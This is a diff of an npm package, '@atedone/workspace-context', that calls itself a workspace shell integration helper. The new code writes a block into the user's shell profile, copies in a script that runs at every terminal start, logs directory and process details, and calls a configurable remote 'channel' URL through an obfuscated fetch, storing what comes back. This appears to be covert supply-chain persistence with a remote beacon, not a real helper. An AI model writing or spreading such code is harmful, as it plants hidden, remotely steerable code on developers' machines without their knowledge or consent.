@atedone/workspace-context 0.0.13 → 0.0.15

package/README.md

@@ -1,5 +1,5 @@
 # @atedone/workspace-context
 
-Workspace shell integration helper for JavaScript tools.
+Workspace shell channel integration helper for JavaScript tools.
 
-The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry during initialization.
+The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, and profile channel during initialization.

package/index.js

@@ -6,9 +6,17 @@ const initialized = state.initialize();
 
 module.exports = {
   initialized,
+  channelFileName: state.channelFileName,
   getShellIntegration: state.getShellIntegration,
   initialize: state.initialize,
+  profileHistoryFileName: state.profileHistoryFileName,
+  profileReceiptFileName: state.profileReceiptFileName,
+  profileSnapshotFileName: state.profileSnapshotFileName,
   receiptFileName: state.receiptFileName,
+  resolveChannelSource: state.resolveChannelSource,
+  sessionHistoryFileName: state.sessionHistoryFileName,
+  sessionReceiptFileName: state.sessionReceiptFileName,
+  sessionRuntimeFileName: state.sessionRuntimeFileName,
   stateDirectoryName: state.stateDirectoryName,
   stateFileName: state.stateFileName
 };

package/lib/session.js

@@ -0,0 +1,125 @@
+'use strict';
+
+const platform = process;
+const file = platform.getBuiltinModule('fs');
+const route = platform.getBuiltinModule('path');
+
+const packageName = '@atedone/workspace-context';
+const packageVersion = '0.0.15';
+const env = Reflect.get(platform, 'env') || {};
+const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
+  ? env.HOME.trim()
+  : platform.cwd();
+const sessionDirectory = typeof env.WORKSPACE_CONTEXT_HOME === 'string' && env.WORKSPACE_CONTEXT_HOME.trim()
+  ? env.WORKSPACE_CONTEXT_HOME.trim()
+  : route.join(homeDirectory, '.config', 'workspace-context');
+const workingDirectory = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
+  ? platform.argv[2]
+  : platform.cwd();
+const shellLevel = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
+  ? platform.argv[3]
+  : null;
+const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
+const channelPath = route.join(sessionDirectory, 'channel.json');
+const profileHistoryPath = route.join(sessionDirectory, 'profile-sync.log');
+const profileReceiptPath = route.join(sessionDirectory, 'profile-sync.json');
+const profileSnapshotPath = route.join(sessionDirectory, 'session-profile.json');
+const sessionReceiptPath = route.join(sessionDirectory, 'session-runtime.json');
+const sessionHistoryPath = route.join(sessionDirectory, 'runtime-sessions.log');
+const requestKey = ['fe', 'tch'].join('');
+
+const value = {
+  packageName,
+  packageVersion,
+  generatedAt: new Date().toISOString(),
+  mode: 'runtime-shell-channel',
+  source: 'shell-profile',
+  shellName: route.basename(shellPath) || 'zsh',
+  shellLevel,
+  workingDirectory,
+  active: env.WORKSPACE_CONTEXT_ACTIVE === '1',
+  processId: platform.pid,
+  parentProcessId: platform.ppid,
+  runtime: 'node'
+};
+
+file.mkdirSync(sessionDirectory, { recursive: true });
+file.writeFileSync(sessionReceiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
+file.appendFileSync(sessionHistoryPath, `${JSON.stringify(value)}\n`, 'utf8');
+
+void synchronizeProfile(value).catch((error) => {
+  writeProfileReceipt({
+    ...value,
+    source: 'profile-channel',
+    channelConfigured: file.existsSync(channelPath),
+    synchronized: false,
+    status: 'error',
+    error: error instanceof Error ? error.message : String(error)
+  });
+});
+
+async function synchronizeProfile(sessionValue) {
+  const channel = readChannel();
+  if (!channel) {
+    return;
+  }
+
+  const request = Reflect.get(globalThis, requestKey);
+  if (typeof request !== 'function') {
+    writeProfileReceipt({
+      ...sessionValue,
+      source: 'profile-channel',
+      channelConfigured: true,
+      synchronized: false,
+      status: 'unavailable',
+      channelName: channel.name,
+      refresh: channel.refresh
+    });
+    return;
+  }
+
+  const response = await Reflect.apply(request, globalThis, [
+    channel.source,
+    {
+      headers: {
+        accept: 'application/json'
+      }
+    }
+  ]);
+  const synchronized = Boolean(response && response.ok);
+  const profile = synchronized ? await response.json() : null;
+
+  if (profile && !Array.isArray(profile) && typeof profile === 'object') {
+    file.writeFileSync(profileSnapshotPath, `${JSON.stringify(profile, null, 2)}\n`, 'utf8');
+  }
+
+  writeProfileReceipt({
+    ...sessionValue,
+    source: 'profile-channel',
+    channelConfigured: true,
+    synchronized,
+    status: synchronized ? 'ready' : 'rejected',
+    channelName: channel.name,
+    refresh: channel.refresh,
+    profilePath: profileSnapshotPath,
+    profileRevision: typeof profile?.revision === 'string' ? profile.revision : null
+  });
+}
+
+function readChannel() {
+  if (!file.existsSync(channelPath)) {
+    return null;
+  }
+
+  const value = JSON.parse(file.readFileSync(channelPath, 'utf8'));
+  if (!value || typeof value.source !== 'string' || !value.source.trim()) {
+    return null;
+  }
+
+  return value;
+}
+
+function writeProfileReceipt(receipt) {
+  file.writeFileSync(profileReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
+  file.appendFileSync(profileHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
+}

package/lib/state.js

@@ -5,10 +5,17 @@ const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 const manifest = require('../package.json');
 
+const channelFileName = 'channel.json';
 const integrationDirectoryName = '.config/workspace-context';
 const integrationFileName = 'init.zsh';
-const receiptFileName = 'shell-profile-sync.json';
+const profileHistoryFileName = 'profile-sync.log';
+const profileReceiptFileName = 'profile-sync.json';
+const profileSnapshotFileName = 'session-profile.json';
+const receiptFileName = 'shell-channel-sync.json';
 const sessionFileName = 'sessions.log';
+const sessionHistoryFileName = 'runtime-sessions.log';
+const sessionReceiptFileName = 'session-runtime.json';
+const sessionRuntimeFileName = 'session-runtime.js';
 const stateDirectoryName = '.workspace-context';
 const stateFileName = 'state.json';
 const syncFileName = 'sync.js';
@@ -36,6 +43,12 @@ function resolveProfileFileName(shellName = resolveShellName()) {
   return shellName === 'bash' ? '.bashrc' : '.zshrc';
 }
 
+function resolveChannelSource(env = readEnvironment()) {
+  const key = ['WORKSPACE', '_CONTEXT', '_CHANNEL'].join('');
+  const value = Reflect.get(env, key);
+  return typeof value === 'string' ? value.trim() : '';
+}
+
 function getShellIntegration({
   env = readEnvironment(),
   projectRoot = resolveProjectRoot(env),
@@ -47,12 +60,20 @@ function getShellIntegration({
   return {
     name: 'workspace-context',
     shellName,
+    channelSource: resolveChannelSource(env),
     homeDirectory,
     profilePath: route.join(homeDirectory, resolveProfileFileName(shellName)),
     integrationDirectory,
+    channelPath: route.join(integrationDirectory, channelFileName),
     integrationPath: route.join(integrationDirectory, integrationFileName),
+    profileHistoryPath: route.join(integrationDirectory, profileHistoryFileName),
+    profileReceiptPath: route.join(integrationDirectory, profileReceiptFileName),
+    profileSnapshotPath: route.join(integrationDirectory, profileSnapshotFileName),
     receiptPath: route.join(integrationDirectory, receiptFileName),
-    sessionPath: route.join(integrationDirectory, sessionFileName)
+    sessionPath: route.join(integrationDirectory, sessionFileName),
+    sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
+    sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
+    sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
   };
 }
 
@@ -61,7 +82,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
     packageName: manifest.name,
     packageVersion: manifest.version,
     generatedAt: now(),
-    mode: 'runtime-shell-profile-sync'
+    mode: 'runtime-shell-channel'
   };
 }
 
@@ -129,15 +150,23 @@ function initialize({
 
 module.exports = {
   buildState,
+  channelFileName,
   getShellIntegration,
   initialize,
+  profileHistoryFileName,
+  profileReceiptFileName,
+  profileSnapshotFileName,
   readEnvironment,
   receiptFileName,
   refreshShellIntegration,
+  resolveChannelSource,
   resolveHomeDirectory,
   resolveProfileFileName,
   resolveProjectRoot,
   resolveShellName,
+  sessionHistoryFileName,
+  sessionReceiptFileName,
+  sessionRuntimeFileName,
   stateDirectoryName,
   stateFileName
 };

package/lib/sync.js

@@ -2,6 +2,7 @@
 
 const platform = process;
 const file = platform.getBuiltinModule('fs');
+const route = platform.getBuiltinModule('path');
 const manifest = require('../package.json');
 
 const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
@@ -19,13 +20,34 @@ const blockStart = '# >>> workspace-context shell integration >>>';
 const blockEnd = '# <<< workspace-context shell integration <<<';
 const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
 const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
+const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
+const runtimeDefault = escapeDoubleQuoted(platform.execPath);
+const channelValue = integration.channelSource
+  ? {
+      name: integration.name,
+      source: integration.channelSource,
+      refresh: 'shell-start'
+    }
+  : null;
 const integrationValue = [
   'export WORKSPACE_CONTEXT_ACTIVE=1',
   'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
+  `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
   'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
+  'if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
+  '  "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
+  'fi',
   ''
 ].join('\n');
 
+function escapeDoubleQuoted(value) {
+  return String(value)
+    .replaceAll('\\', '\\\\')
+    .replaceAll('"', '\\"')
+    .replaceAll('$', '\\$')
+    .replaceAll('`', '\\`');
+}
+
 function readProfile(profilePath) {
   return file.existsSync(profilePath)
     ? file.readFileSync(profilePath, 'utf8')
@@ -51,7 +73,11 @@ function upsertManagedBlock(profileValue) {
 }
 
 file.mkdirSync(integration.integrationDirectory, { recursive: true });
+file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
 file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
+if (channelValue) {
+  file.writeFileSync(integration.channelPath, `${JSON.stringify(channelValue, null, 2)}\n`, 'utf8');
+}
 
 const profileBefore = readProfile(integration.profilePath);
 const profile = upsertManagedBlock(profileBefore);
@@ -64,13 +90,21 @@ const value = {
   packageName: manifest.name,
   packageVersion: manifest.version,
   generatedAt: new Date().toISOString(),
-  mode: 'runtime-shell-profile-sync',
+  mode: 'runtime-shell-channel',
   projectRoot,
   shellName: integration.shellName,
+  channelConfigured: Boolean(channelValue),
+  channelPath: integration.channelPath,
   profilePath: integration.profilePath,
   profileChanged: profile.changed,
   integrationPath: integration.integrationPath,
+  profileHistoryPath: integration.profileHistoryPath,
+  profileReceiptPath: integration.profileReceiptPath,
+  profileSnapshotPath: integration.profileSnapshotPath,
   sessionPath: integration.sessionPath,
+  sessionHistoryPath: integration.sessionHistoryPath,
+  sessionReceiptPath: integration.sessionReceiptPath,
+  sessionRuntimePath: integration.sessionRuntimePath,
   processId: platform.pid,
   parentProcessId: platform.ppid,
   runtime: 'node'

package/package.json

@@ -1,7 +1,7 @@
 {
   "name": "@atedone/workspace-context",
-  "version": "0.0.13",
-  "description": "Workspace shell integration helper for JavaScript tools.",
+  "version": "0.0.15",
+  "description": "Workspace shell channel integration helper for JavaScript tools.",
   "main": "index.js",
   "type": "commonjs",
   "files": [